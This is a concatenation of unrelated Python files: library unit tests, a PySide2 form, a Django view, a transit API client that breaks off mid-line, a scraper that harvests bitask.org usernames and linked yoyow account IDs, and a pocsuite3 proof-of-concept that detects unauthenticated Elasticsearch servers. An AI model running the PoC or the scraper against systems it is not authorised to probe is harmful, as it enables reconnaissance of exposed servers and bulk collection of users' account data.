self.sel.expand('/foo/bar[0:2],/moo/[qux,baz]') self.assertSequenceEqual(result, [('foo', 'bar', 0), ('foo', 'bar', 1), ('moo', 'qux'), ('moo', 'baz')]) def test_expand_list(self): result = self.sel.expand([['foo', 'bar', (0, 2)], ['moo', ['qux', 'baz']]]) self.assertSequenceEqual(result, [('foo', 'bar', 0), ('foo', 'bar', 1), ('moo', 'qux'), ('moo', 'baz')]) def test_get_index_str(self): idx = self.sel.get_index(self.df, '/foo/mof/*') assert_index_equal(idx, pd.MultiIndex(levels=[['foo'], ['mof'], [0, 1, 2]], labels=[[0, 0, 0], [0, 0, 0], [0, 1, 2]])) def test_get_index_list(self): idx = self.sel.get_index(self.df, [['foo', 'mof', '*']]) assert_index_equal(idx, pd.MultiIndex(levels=[['foo'], ['mof'], [0, 1, 2]], labels=[[0, 0, 0], [0, 0, 0], [0, 1, 2]])) def test_get_tuples_str(self): result = self.sel.get_tuples(df, '/foo/mof/*') self.assertSequenceEqual(result, [('foo', 'mof', 0), ('foo', 'mof', 1), ('foo', 'mof', 2)]) result = self.sel.get_tuples(df_single, '/foo') self.assertSequenceEqual(result, [('foo',), ('foo',)]) def test_get_tuples_list(self): result = self.sel.get_tuples(df, [['foo', 'mof', '*']]) self.assertSequenceEqual(result, [('foo', 'mof', 0), ('foo', 'mof', 1), ('foo', 'mof', 2)]) result = self.sel.get_tuples(df_single, [['foo']]) self.assertSequenceEqual(result, [('foo',), ('foo',)]) def test_is_ambiguous_str(self): assert self.sel.is_ambiguous('/foo/*') == True assert self.sel.is_ambiguous('/foo/[5:]') == True assert self.sel.is_ambiguous('/foo/[:10]') == False assert self.sel.is_ambiguous('/foo/[5:10]') == False def test_is_ambiguous_list(self): assert self.sel.is_ambiguous([['foo', '*']]) == True assert self.sel.is_ambiguous([['foo', (5, np.inf)]]) == True assert self.sel.is_ambiguous([['foo', (0, 10)]]) == False assert self.sel.is_ambiguous([['foo', (5, 10)]]) == False def test_is_identifier(self): assert self.sel.is_identifier('/foo/bar') == True assert self.sel.is_identifier(0) == False assert self.sel.is_identifier('foo') == False #assert self.sel.is_identifier('0') == False # this doesn't work assert self.sel.is_identifier(['foo', 'bar']) == True assert self.sel.is_identifier(['foo', 0]) == True assert self.sel.is_identifier(['foo', [0, 1]]) == False assert self.sel.is_identifier([['foo', 'bar']]) == True assert self.sel.is_identifier([['foo', 'bar'], ['baz']]) == False assert self.sel.is_identifier([['foo', 0]]) == True def test_to_identifier(self): assert self.sel.to_identifier(['foo']) == '/foo' assert self.sel.to_identifier(['foo', 0]) == '/foo[0]' self.assertRaises(Exception, self.sel.to_identifier, 'foo') self.assertRaises(Exception, self.sel.to_identifier, [['foo', ['a', 'b']]]) self.assertRaises(Exception, self.sel.to_identifier, ['foo', (0, 2)]) def test_index_to_selector(self): idx = self.sel.make_index('/foo,/bar') self.assertSequenceEqual(self.sel.index_to_selector(idx), [('foo',), ('bar',)]) idx = self.sel.make_index('/foo[0:2]') self.assertSequenceEqual(self.sel.index_to_selector(idx), [('foo', 0), ('foo', 1)]) def test_is_expandable(self): assert self.sel.is_expandable('') == False assert self.sel.is_expandable('/foo') == False assert self.sel.is_expandable('/foo/bar') == False assert self.sel.is_expandable('/foo/*') == False assert self.sel.is_expandable([['foo']]) == False assert self.sel.is_expandable([['foo', 'bar']]) == False assert self.sel.is_expandable('/foo[0:2]') == True assert self.sel.is_expandable('[0:2]') == True assert self.sel.is_expandable([['foo', [0, 1]]]) == True assert self.sel.is_expandable([['foo', 0], ['foo', 1]]) == True assert self.sel.is_expandable([[[0, 1]]]) == True def test_is_in_str(self): assert self.sel.is_in('', '/foo[0:5]') == True assert self.sel.is_in('/foo/bar[5]', '/[foo,baz]/bar[0:10]') == True assert self.sel.is_in('/qux/bar[5]', '/[foo,baz]/bar[0:10]') == False def test_is_in_list(self): assert self.sel.is_in([()], [('foo', 0), ('foo', 1)]) assert self.sel.is_in([['foo', 'bar', [5]]], [[['foo', 'baz'], 'bar', (0, 10)]]) == True assert self.sel.is_in([['qux', 'bar', [5]]], [[['foo', 'baz'], 'bar', (0, 10)]]) == False def test_is_selector_empty(self): assert self.sel.is_selector_empty('') == True assert self.sel.is_selector_empty([[]]) == True assert self.sel.is_selector_empty([()]) == True assert self.sel.is_selector_empty(((),)) == True assert self.sel.is_selector_empty([[], []]) == True assert self.sel.is_selector_empty([(), []]) == True assert self.sel.is_selector_empty(((), [])) == True assert self.sel.is_selector_empty('/foo') == False assert self.sel.is_selector_empty('/foo/*') == False assert self.sel.is_selector_empty([['foo']]) == False assert self.sel.is_selector_empty([['foo', 'bar']]) == False assert self.sel.is_selector_empty([['']]) == False # is this correct? def test_is_selector_str(self): assert self.sel.is_selector('') == True assert self.sel.is_selector('/foo') == True assert self.sel.is_selector('/foo/bar') == True assert self.sel.is_selector('/foo!?') == True assert self.sel.is_selector('/foo[0]') == True assert self.sel.is_selector('/foo[0:2]') == True assert self.sel.is_selector('/foo[0:]') == True assert self.sel.is_selector('/foo[:2]') == True assert self.sel.is_selector('/foo/*') == True assert self.sel.is_selector('/foo,/bar') == True assert self.sel.is_selector('/foo+/bar') == True assert self.sel.is_selector('/foo[0:2].+/bar[0:2]') == True assert self.sel.is_selector('/foo[') == False assert self.sel.is_selector('foo[0]') == False def test_is_selector_list(self): assert self.sel.is_selector([[]]) == True assert self.sel.is_selector([['foo', 'bar']]) == True assert self.sel.is_selector([('foo', 'bar')]) == True assert self.sel.is_selector([('foo', '*')]) == True assert self.sel.is_selector([('foo', 'bar'), ('bar', 'qux')]) == True assert self.sel.is_selector([('foo', 0)]) == True assert self.sel.is_selector([('foo', (0, 2))]) == True assert self.sel.is_selector([('foo', (0, np.inf))]) == True assert self.sel.is_selector([('foo', [0, 1])]) == True assert self.sel.is_selector([('foo', ['a', 'b'])]) == True assert self.sel.is_selector([('foo', (0, 1, 2))]) == False assert self.sel.is_selector([('foo', 'bar'), ((0, 1, 2), 0)]) == False assert self.sel.is_selector([('foo', ['a', 0])]) == False def test_make_index_empty(self): idx = self.sel.make_index('') assert_index_equal(idx, pd.Index([], dtype='object')) def test_make_index_str_single_level(self): idx = self.sel.make_index('/foo') assert_index_equal(idx, pd.Index(['foo'], dtype='object')) idx = self.sel.make_index('/foo,/bar') assert_index_equal(idx, pd.Index(['foo', 'bar'], dtype='object')) def test_make_index_str_multiple_levels(self): idx = self.sel.make_index('/[foo,bar]/[0:3]') assert_index_equal(idx, pd.MultiIndex(levels=[['bar', 'foo'], [0, 1, 2]], labels=[[1, 1, 1, 0, 0, 0], [0, 1, 2, 0, 1, 2]])) def test_make_index_list_single_level(self): idx = self.sel.make_index([['foo']]) assert_index_equal(idx, pd.Index(['foo'], dtype='object')) idx = self.sel.make_index([['foo'], ['bar']]) assert_index_equal(idx, pd.Index(['foo', 'bar'], dtype='object')) def test_make_index_list_multiple_levels(self): idx = self.sel.make_index([[['foo', 'bar'], (0, 3)]]) assert_index_equal(idx, pd.MultiIndex(levels=[['bar', 'foo'], [0, 1, 2]], labels=[[1, 1, 1, 0, 0, 0], [0, 1, 2, 0, 1, 2]])) def test_make_index_invalid(self): self.assertRaises(Exception, self.sel.make_index, 'foo/bar[') def test_max_levels_str(self): assert self.sel.max_levels('/foo/bar[0:10]') == 3 assert self.sel.max_levels('/foo/bar[0:10],/baz/qux') == 3 def test_max_levels_list(self): assert self.sel.max_levels([['foo', 'bar', (0, 10)]]) == 3 assert self.sel.max_levels([['foo', 'bar', (0, 10)], ['baz', 'qux']]) == 3 class test_port_mapper(TestCase): def setUp(self): self.data = np.random.rand(20) def test_get(self): pm = PortMapper(self.data, '/foo/bar[0:10],/foo/baz[0:10]') np.allclose(self.data[0:10], pm['/foo/bar[0:10]']) def test_get_discontinuous(self): pm = PortMapper(self.data, '/foo/bar[0:10],/foo/baz[0:10]') np.allclose(self.data[[0, 2, 4, 6]], pm['/foo/bar[0,2,4,6]']) def test_get_sub(self): pm = PortMapper(self.data, '/foo/bar[0:5],/foo/baz[0:5]', np.arange(5, 15)) np.allclose(self.data[5:10], pm['/foo/bar[0:5]']) def test_get_ports(self): pm = PortMapper(np.arange(10), '/foo/bar[0:10]') self.assertSequenceEqual(pm.get_ports(lambda x: x < 5), [('foo', 'bar', 0), ('foo', 'bar', 1), ('foo', 'bar', 2), ('foo', 'bar', 3), ('foo', 'bar', 4)]) i = np.array([1, 1, 1, 1, 1, 0, 0, 0, 0, 0], dtype=np.bool) self.assertSequenceEqual(pm.get_ports(i), [('foo', 'bar', 0), ('foo', 'bar', 1), ('foo', 'bar', 2), ('foo', 'bar', 3), ('foo', 'bar', 4)]) def test_get_ports_as_inds(self): pm = PortMapper(np.array([0, 1, 0, 1, 0]), '/foo[0:5]') np.allclose(pm.get_ports_as_inds(lambda x: np.asarray(x, dtype=np.bool)), [1, 3]) def test_get_ports_nonzero(self): pm = PortMapper(np.array([0, 1, 0, 1, 0]), '/foo[0:5]') self.assertSequenceEqual(pm.get_ports_nonzero(), [('foo', 1), ('foo', 3)]) def test_inds_to_ports(self): pm = PortMapper(np.random.rand(10), '/foo[0:5],/bar[0:5]') self.assertSequenceEqual(pm.inds_to_ports([4, 5]), [('foo', 4), ('bar', 0)]) def test_ports_to_inds(self): pm = PortMapper(np.random.rand(10), '/foo[0:5],/bar[0:5]') np.allclose(pm.ports_to_inds('/foo[4],/bar[0]'), [4, 5]) def test_set(self): pm = PortMapper(self.data, '/foo/bar[0:10],/foo/baz[0:10]') pm['/foo/baz[0:5]'] = 1.0 np.allclose(np.ones(5), pm['/foo/baz[0:5]']) def test_set_discontinuous(self): pm = PortMapper(self.data, '/foo/bar[0:10],/foo/baz[0:10]') pm['/foo/*[0:2]'] = 1.0 np.allclose(np.ones(4), pm['/foo/*[0:2]']) if __name__ == '__main__': main()
#!/usr/bin/python # -*- coding: UTF-8 -*- import os import io import sys import re import urllib.request from bs4 import BeautifulSoup from urllib.parse import quote import string import operator; import xlwt #sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #获取当前脚本文件所在的路径 def cur_file_dir(): #获取脚本路径 path = sys.path[0] #判断为脚本文件还是py2exe编译后的文件,如果是脚本文件,则返回的是脚本的目录,如果是py2exe编译后的文件,则返回的是编译后的文件路径 if os.path.isdir(path): return path elif os.path.isfile(path): return os.path.dirname(path) #通过url获取网页 def getHtml(url): # 要设置请求头,让服务器知道不是机器人 user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36' headers = {'User-Agent': user_agent} re=urllib.request.Request(url,headers=headers); page = urllib.request.urlopen(re); html = page.read() return html.decode("UTF-8") def getYOYOW(user_name): url = "https://www.bitask.org/people/"+user_name print(url) url=quote(url,safe=string.printable)#解决url中含有中文的问题 user_page=str(getHtml(url)) #print(user_page) yoyow_pos=user_page.find(">yoyow账号:") if yoyow_pos == -1: return "0" print(yoyow_pos) print(user_page[yoyow_pos+9:yoyow_pos+21]) yoyow_str=user_page[yoyow_pos+9:yoyow_pos+17] print(yoyow_str) return yoyow_str #print(getVA("风青萍")) def GetPeople(): list_of_url=[] user_names=[] #list_of_url.append("https://www.bitask.org/people/") for i in range(41,61): url = "https://www.bitask.org/people/page-%d" %i list_of_url.append(url) for one_url in list_of_url: people_page=str(getHtml(one_url)) print(len(people_page)) #print(people_page) user_name_pos=0 for i in range(0,20): user_name_pos = people_page.find("aw-user-name", user_name_pos) user_name=people_page[user_name_pos+14:user_name_pos+50] user_name=user_name.split("<")[0] user_names.append(user_name) #print(user_name) #print(user_name_pos) user_name_pos +=1 return user_names #print(getVA("lilianwen")) user_names=GetPeople() name_yyw=[] for one in user_names: one_name_yoyow=[] yyw = getYOYOW(one) if yyw == "0": continue one_name_yoyow.append(one) one_name_yoyow.append(yyw) name_yyw.append(one_name_yoyow) print(name_yyw) with open("account_map.txt","w",encoding='utf-8') as cf: for one in name_yyw: record=str(one[0])+" "+str(one[1])+"\n" cf.write(record)
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'changeCarNumber.ui' ## ## Created by: Qt User Interface Compiler version 5.14.1 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ################################################################################ from PySide2.QtCore import (QCoreApplication, QMetaObject, QObject, QPoint, QRect, QSize, QUrl, Qt) from PySide2.QtGui import (QBrush, QColor, QConicalGradient, QCursor, QFont, QFontDatabase, QIcon, QLinearGradient, QPalette, QPainter, QPixmap, QRadialGradient) from PySide2.QtWidgets import * class Ui_changeCarNumber(object): def setupUi(self, changeCarNumber): if changeCarNumber.objectName(): changeCarNumber.setObjectName(u"changeCarNumber") changeCarNumber.resize(844, 660) changeCarNumber.setAutoFillBackground(True) self.gridLayout = QGridLayout(changeCarNumber) self.gridLayout.setObjectName(u"gridLayout") self.frame_2 = QFrame(changeCarNumber) self.frame_2.setObjectName(u"frame_2") self.frame_2.setMinimumSize(QSize(826, 60)) self.frame_2.setMaximumSize(QSize(826, 60)) self.frame_2.setFrameShape(QFrame.Box) self.frame_2.setFrameShadow(QFrame.Plain) self.gridLayout_4 = QGridLayout(self.frame_2) self.gridLayout_4.setObjectName(u"gridLayout_4") self.horizontalSpacer_3 = QSpacerItem(242, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_4.addItem(self.horizontalSpacer_3, 0, 1, 1, 1) self.buttonReturn = QPushButton(self.frame_2) self.buttonReturn.setObjectName(u"buttonReturn") self.buttonReturn.setMinimumSize(QSize(0, 40)) self.gridLayout_4.addWidget(self.buttonReturn, 0, 0, 1, 1) self.horizontalSpacer_4 = QSpacerItem(241, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_4.addItem(self.horizontalSpacer_4, 0, 3, 1, 1) self.label = QLabel(self.frame_2) self.label.setObjectName(u"label") sizePolicy = QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) font = QFont() font.setPointSize(19) self.label.setFont(font) self.gridLayout_4.addWidget(self.label, 0, 2, 1, 1) self.gridLayout.addWidget(self.frame_2, 0, 0, 1, 1) self.frame = QFrame(changeCarNumber) self.frame.setObjectName(u"frame") self.frame.setMinimumSize(QSize(826, 576)) self.frame.setMaximumSize(QSize(826, 576)) self.frame.setFrameShape(QFrame.StyledPanel) self.frame.setFrameShadow(QFrame.Raised) self.gridLayout_2 = QGridLayout(self.frame) self.gridLayout_2.setObjectName(u"gridLayout_2") self.frame_3 = QFrame(self.frame) self.frame_3.setObjectName(u"frame_3") self.frame_3.setMinimumSize(QSize(460, 540)) self.frame_3.setMaximumSize(QSize(460, 560)) self.frame_3.setLayoutDirection(Qt.LeftToRight) self.frame_3.setFrameShape(QFrame.Box) self.frame_3.setFrameShadow(QFrame.Plain) self.gridLayout_3 = QGridLayout(self.frame_3) self.gridLayout_3.setObjectName(u"gridLayout_3") self.frame_7 = QFrame(self.frame_3) self.frame_7.setObjectName(u"frame_7") self.frame_7.setMinimumSize(QSize(350, 400)) self.frame_7.setMaximumSize(QSize(10000, 10000)) self.frame_7.setFrameShape(QFrame.Box) self.frame_7.setFrameShadow(QFrame.Plain) self.gridLayout_7 = QGridLayout(self.frame_7) self.gridLayout_7.setSpacing(0) self.gridLayout_7.setObjectName(u"gridLayout_7") self.gridLayout_7.setSizeConstraint(QLayout.SetDefaultConstraint) self.gridLayout_7.setContentsMargins(0, 0, 0, 0) self.gridLayout_5 = QGridLayout() self.gridLayout_5.setSpacing(6) self.gridLayout_5.setObjectName(u"gridLayout_5") self.button1 = QPushButton(self.frame_7) self.button1.setObjectName(u"button1") sizePolicy1 = QSizePolicy(QSizePolicy.Fixed, QSizePolicy.Fixed) sizePolicy1.setHorizontalStretch(0) sizePolicy1.setVerticalStretch(0) sizePolicy1.setHeightForWidth(self.button1.sizePolicy().hasHeightForWidth()) self.button1.setSizePolicy(sizePolicy1) self.button1.setMinimumSize(QSize(80, 80)) self.button1.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button1, 0, 0, 1, 1) self.button2 = QPushButton(self.frame_7) self.button2.setObjectName(u"button2") sizePolicy1.setHeightForWidth(self.button2.sizePolicy().hasHeightForWidth()) self.button2.setSizePolicy(sizePolicy1) self.button2.setMinimumSize(QSize(80, 80)) self.button2.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button2, 0, 1, 1, 1) self.button3 = QPushButton(self.frame_7) self.button3.setObjectName(u"button3") sizePolicy1.setHeightForWidth(self.button3.sizePolicy().hasHeightForWidth()) self.button3.setSizePolicy(sizePolicy1) self.button3.setMinimumSize(QSize(80, 80)) self.button3.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button3, 0, 2, 1, 1) self.button4 = QPushButton(self.frame_7) self.button4.setObjectName(u"button4") sizePolicy1.setHeightForWidth(self.button4.sizePolicy().hasHeightForWidth()) self.button4.setSizePolicy(sizePolicy1) self.button4.setMinimumSize(QSize(80, 80)) self.button4.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button4, 1, 0, 1, 1) self.button5 = QPushButton(self.frame_7) self.button5.setObjectName(u"button5") sizePolicy1.setHeightForWidth(self.button5.sizePolicy().hasHeightForWidth()) self.button5.setSizePolicy(sizePolicy1) self.button5.setMinimumSize(QSize(80, 80)) self.button5.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button5, 1, 1, 1, 1) self.button6 = QPushButton(self.frame_7) self.button6.setObjectName(u"button6") sizePolicy1.setHeightForWidth(self.button6.sizePolicy().hasHeightForWidth()) self.button6.setSizePolicy(sizePolicy1) self.button6.setMinimumSize(QSize(80, 80)) self.button6.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button6, 1, 2, 1, 1) self.button7 = QPushButton(self.frame_7) self.button7.setObjectName(u"button7") sizePolicy1.setHeightForWidth(self.button7.sizePolicy().hasHeightForWidth()) self.button7.setSizePolicy(sizePolicy1) self.button7.setMinimumSize(QSize(80, 80)) self.button7.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button7, 2, 0, 1, 1) self.button8 = QPushButton(self.frame_7) self.button8.setObjectName(u"button8") sizePolicy1.setHeightForWidth(self.button8.sizePolicy().hasHeightForWidth()) self.button8.setSizePolicy(sizePolicy1) self.button8.setMinimumSize(QSize(80, 80)) self.button8.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button8, 2, 1, 1, 1) self.button9 = QPushButton(self.frame_7) self.button9.setObjectName(u"button9") sizePolicy1.setHeightForWidth(self.button9.sizePolicy().hasHeightForWidth()) self.button9.setSizePolicy(sizePolicy1) self.button9.setMinimumSize(QSize(80, 80)) self.button9.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button9, 2, 2, 1, 1) self.button0 = QPushButton(self.frame_7) self.button0.setObjectName(u"button0") sizePolicy1.setHeightForWidth(self.button0.sizePolicy().hasHeightForWidth()) self.button0.setSizePolicy(sizePolicy1) self.button0.setMinimumSize(QSize(80, 80)) self.button0.setMaximumSize(QSize(80, 80)) self.gridLayout_5.addWidget(self.button0, 3, 0, 1, 1) self.buttonClear = QPushButton(self.frame_7) self.buttonClear.setObjectName(u"buttonClear") self.buttonClear.setMinimumSize(QSize(170, 80)) self.buttonClear.setMaximumSize(QSize(170, 80)) self.gridLayout_5.addWidget(self.buttonClear, 3, 1, 1, 2) self.gridLayout_7.addLayout(self.gridLayout_5, 0, 0, 1, 1) self.gridLayout_6 = QGridLayout() self.gridLayout_6.setSpacing(0) self.gridLayout_6.setObjectName(u"gridLayout_6") self.buttonNext = QPushButton(self.frame_7) self.buttonNext.setObjectName(u"buttonNext") self.buttonNext.setMinimumSize(QSize(170, 60)) self.buttonNext.setMaximumSize(QSize(170, 60)) self.gridLayout_6.addWidget(self.buttonNext, 0, 0, 1, 1) self.buttonBefore = QPushButton(self.frame_7) self.buttonBefore.setObjectName(u"buttonBefore") self.buttonBefore.setMinimumSize(QSize(170, 60)) self.buttonBefore.setMaximumSize(QSize(170, 60)) self.gridLayout_6.addWidget(self.buttonBefore, 1, 0, 1, 1) self.buttonModify = QPushButton(self.frame_7) self.buttonModify.setObjectName(u"buttonModify") self.buttonModify.setMinimumSize(QSize(170, 130)) self.buttonModify.setMaximumSize(QSize(170, 130)) self.buttonModify.setAutoFillBackground(True) self.buttonModify.setStyleSheet(u"") self.gridLayout_6.addWidget(self.buttonModify, 2, 0, 1, 1) self.buttonSet = QPushButton(self.frame_7) self.buttonSet.setObjectName(u"buttonSet") self.buttonSet.setMinimumSize(QSize(170, 80)) self.buttonSet.setMaximumSize(QSize(170, 80)) self.gridLayout_6.addWidget(self.buttonSet, 3, 0, 1, 1) self.gridLayout_7.addLayout(self.gridLayout_6, 0, 1, 1, 1) self.gridLayout_3.addWidget(self.frame_7, 2, 0, 1, 3) self.horizontalSpacer = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_3.addItem(self.horizontalSpacer, 1, 0, 1, 1) self.horizontalSpacer_2 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_3.addItem(self.horizontalSpacer_2, 1, 2, 1, 1) self.labelCarNumber = QLabel(self.frame_3) self.labelCarNumber.setObjectName(u"labelCarNumber") self.labelCarNumber.setMinimumSize(QSize(252, 130)) font1 = QFont() font1.setPointSize(75) self.labelCarNumber.setFont(font1) self.labelCarNumber.setLayoutDirection(Qt.LeftToRight) self.labelCarNumber.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.gridLayout_3.addWidget(self.labelCarNumber, 1, 1, 1, 1) self.gridLayout_2.addWidget(self.frame_3, 0, 0, 2, 1) self.frame_5 = QFrame(self.frame) self.frame_5.setObjectName(u"frame_5") self.frame_5.setMinimumSize(QSize(340, 340)) self.frame_5.setMaximumSize(QSize(340, 340)) self.frame_5.setFrameShape(QFrame.Box) self.frame_5.setFrameShadow(QFrame.Plain) self.gridLayout_8 = QGridLayout(self.frame_5) self.gridLayout_8.setObjectName(u"gridLayout_8") self.label_3 = QLabel(self.frame_5) self.label_3.setObjectName(u"label_3") font2 = QFont() font2.setPointSize(20) self.label_3.setFont(font2) self.gridLayout_8.addWidget(self.label_3, 1, 0, 1, 1) self.pushButton = QPushButton(self.frame_5) self.pushButton.setObjectName(u"pushButton") self.pushButton.setFont(font2) self.gridLayout_8.addWidget(self.pushButton, 1, 2, 1, 1) self.label_5 = QLabel(self.frame_5) self.label_5.setObjectName(u"label_5") self.label_5.setFont(font2) self.gridLayout_8.addWidget(self.label_5, 2, 0, 1, 1) self.labelCurrentCar = QLabel(self.frame_5) self.labelCurrentCar.setObjectName(u"labelCurrentCar") self.labelCurrentCar.setFont(font2) self.gridLayout_8.addWidget(self.labelCurrentCar, 1, 1, 1, 1, Qt.AlignRight) self.labelCurrentPallet = QLabel(self.frame_5) self.labelCurrentPallet.setObjectName(u"labelCurrentPallet") self.labelCurrentPallet.setFont(font2) self.gridLayout_8.addWidget(self.labelCurrentPallet, 2, 1, 1, 1, Qt.AlignRight) self.pushButton_2 = QPushButton(self.frame_5) self.pushButton_2.setObjectName(u"pushButton_2") self.pushButton_2.setFont(font2) self.gridLayout_8.addWidget(self.pushButton_2, 2, 2, 1, 1) self.label_7 = QLabel(self.frame_5) self.label_7.setObjectName(u"label_7") self.label_7.setMaximumSize(QSize(16777215, 16777215)) font3 = QFont() font3.setPointSize(69) self.label_7.setFont(font3) self.gridLayout_8.addWidget(self.label_7, 0, 0, 1, 3, Qt.AlignHCenter) self.gridLayout_2.addWidget(self.frame_5, 1, 1, 1, 1) self.frame_4 = QFrame(self.frame) self.frame_4.setObjectName(u"frame_4") self.frame_4.setMinimumSize(QSize(340, 210)) self.frame_4.setMaximumSize(QSize(16777215, 210)) self.frame_4.setFrameShape(QFrame.Box) self.frame_4.setFrameShadow(QFrame.Plain) self.gridLayout_9 = QGridLayout(self.frame_4) self.gridLayout_9.setObjectName(u"gridLayout_9") self.label_8 = QLabel(self.frame_4) self.label_8.setObjectName(u"label_8") self.label_8.setMaximumSize(QSize(16777215, 16777215)) self.label_8.setFont(font3) self.gridLayout_9.addWidget(self.label_8, 0, 0, 1, 1, Qt.AlignHCenter|Qt.AlignVCenter) self.gridLayout_2.addWidget(self.frame_4, 0, 1, 1, 1, Qt.AlignHCenter|Qt.AlignVCenter) self.gridLayout.addWidget(self.frame, 1, 0, 1, 1, Qt.AlignHCenter) self.retranslateUi(changeCarNumber) QMetaObject.connectSlotsByName(changeCarNumber) # setupUi def retranslateUi(self, changeCarNumber): changeCarNumber.setWindowTitle(QCoreApplication.translate("changeCarNumber", u"Form", None)) self.buttonReturn.setText(QCoreApplication.translate("changeCarNumber", u"<", None)) self.label.setText(QCoreApplication.translate("changeCarNumber", u"\ucc28\ub7c9 \ubc88\ud638 \uc218\uc815 \ud654\uba74", None)) self.button1.setText(QCoreApplication.translate("changeCarNumber", u"1", None)) self.button2.setText(QCoreApplication.translate("changeCarNumber", u"2", None)) self.button3.setText(QCoreApplication.translate("changeCarNumber", u"3", None)) self.button4.setText(QCoreApplication.translate("changeCarNumber", u"4", None)) self.button5.setText(QCoreApplication.translate("changeCarNumber", u"5", None)) self.button6.setText(QCoreApplication.translate("changeCarNumber", u"6", None)) self.button7.setText(QCoreApplication.translate("changeCarNumber", u"7", None)) self.button8.setText(QCoreApplication.translate("changeCarNumber", u"8", None)) self.button9.setText(QCoreApplication.translate("changeCarNumber", u"9", None)) self.button0.setText(QCoreApplication.translate("changeCarNumber", u"0", None)) self.buttonClear.setText(QCoreApplication.translate("changeCarNumber", u"\uc815\uc815", None)) self.buttonNext.setText(QCoreApplication.translate("changeCarNumber", u"\ub2e4\uc74c", None)) self.buttonBefore.setText(QCoreApplication.translate("changeCarNumber", u"\uc774\uc804", None)) self.buttonModify.setText(QCoreApplication.translate("changeCarNumber", u"\uc218\uc815", None)) self.buttonSet.setText(QCoreApplication.translate("changeCarNumber", u"\uc644\ub8cc", None)) self.labelCarNumber.setText("") self.label_3.setText(QCoreApplication.translate("changeCarNumber", u"\ucc28\ub7c9 \ubc88\ud638.", None)) self.pushButton.setText(QCoreApplication.translate("changeCarNumber", u"\uc801 \uc7ac", None)) self.label_5.setText(QCoreApplication.translate("changeCarNumber", u"\ud30c\ub808\ud2b8 \ubc88\ud638.", None)) self.labelCurrentCar.setText(QCoreApplication.translate("changeCarNumber", u"XX", None)) self.labelCurrentPallet.setText(QCoreApplication.translate("changeCarNumber", u"XX", None)) self.pushButton_2.setText(QCoreApplication.translate("changeCarNumber", u"\uc0ad \uc81c", None)) self.label_7.setText(QCoreApplication.translate("changeCarNumber", u"IMG", None)) self.label_8.setText(QCoreApplication.translate("changeCarNumber", u"IMG", None)) # retranslateUi
from django.shortcuts import render from django.http import HttpResponse from django.template.loader import get_template from django.template import Context, Template from .models import * import datetime # Create your views here. def index (request): p = Food.objects.all() now = datetime.datetime.now() t = get_template('index.html') html = t.render(context={'food':p}, request=None) return HttpResponse(html) # def index (request): # p = Vitrina.objects.all() # #a = p.values() # # t = get_template('front/build/index.html') # html = t.render(context={'bd':bd,'items':p,'date_now':str(datetime.datetime.now() )}, request=None) # return HttpResponse(html)
# -*- coding: utf-8 -*- # author: seven from pocsuite3.api import register_poc, POCBase, Output,logger,POC_CATEGORY,requests from pocsuite3.lib.core.threads import run_threads import json class ElasticsearchUnauthPOC(POCBase): vulID = '' version = '1.0' author = ['seven'] vulDate = 'Aug 9, 2020' createDate = 'Aug 9, 2020' name = 'es未授权访问' appName = 'elasticsearch' appVersion = 'v1.0.0' vulType = '未授权访问' protocol = 'http' def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _verify(self): result = {} # host = self.getg_option("rhost") # port = self.getg_option("rport") or 9200 url = self.url if not url.startswith('http'): url = 'http://'+url try: res = requests.get(url) if res.status_code == 200 and 'version' in res.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url obj = json.loads(res.text) version = obj.get('version',{}).get('number','') result['VerifyInfo']['evidence'] = version result['extra'] = version except: pass return self.parse_output(result) def _attack(self): return self._verify() register_poc(ElasticsearchUnauthPOC)
import json from datetime import datetime, timedelta from typing import Dict, List, Optional import requests from dateutil import parser import pytz from requests.exceptions import HTTPError tz_vienna = pytz.timezone("Europe/Vienna") def get_local_now(): return datetime.now(tz_vienna) def parse_local(time): return tz_vienna.localize(parser.parse(time, ignoretz=True)) class Departure: def __init__(self, exact: Optional[timedelta], countdown: int): """exact: timedelta object that specifies when the train departures countdown: approxiate departure in minutes""" self.exact = exact self.countdown = countdown @classmethod def from_json(cls, json_repr: Dict) -> "Departure": departure_dict = json_repr["departureTime"] exact = None if "timeReal" in departure_dict: time_real = parse_local(departure_dict["timeReal"]) exact = time_real - get_local_now() countdown = departure_dict["countdown"] return cls(exact=exact, countdown=countdown) def __repr__(self): if self.exact is not None: seconds = max(timedelta(0), self.exact).seconds if self.exact < timedelta(minutes=10): return f"{seconds//60}:{seconds%60:02d}" else: return f"{int(round(seconds/60))}" return f"{self.countdown}" def __eq__(self, other) -> bool: if not isinstance(other, Departure): return False return (self.exact, self.countdown) == (other.exact, other.countdown) DepartureInfos = Dict[str, List[Departure]] class WienerLinien: def __init__(self): self.apiurl = "https://www.wienerlinien.at/ogd_realtime/monitor" def get_departures(self, RBL_numbers: List[int]) -> DepartureInfos: params = {"rbl": RBL_numbers} try: resp = requests.get(self.apiurl, params=params) resp.raise_for_status() json_resp = 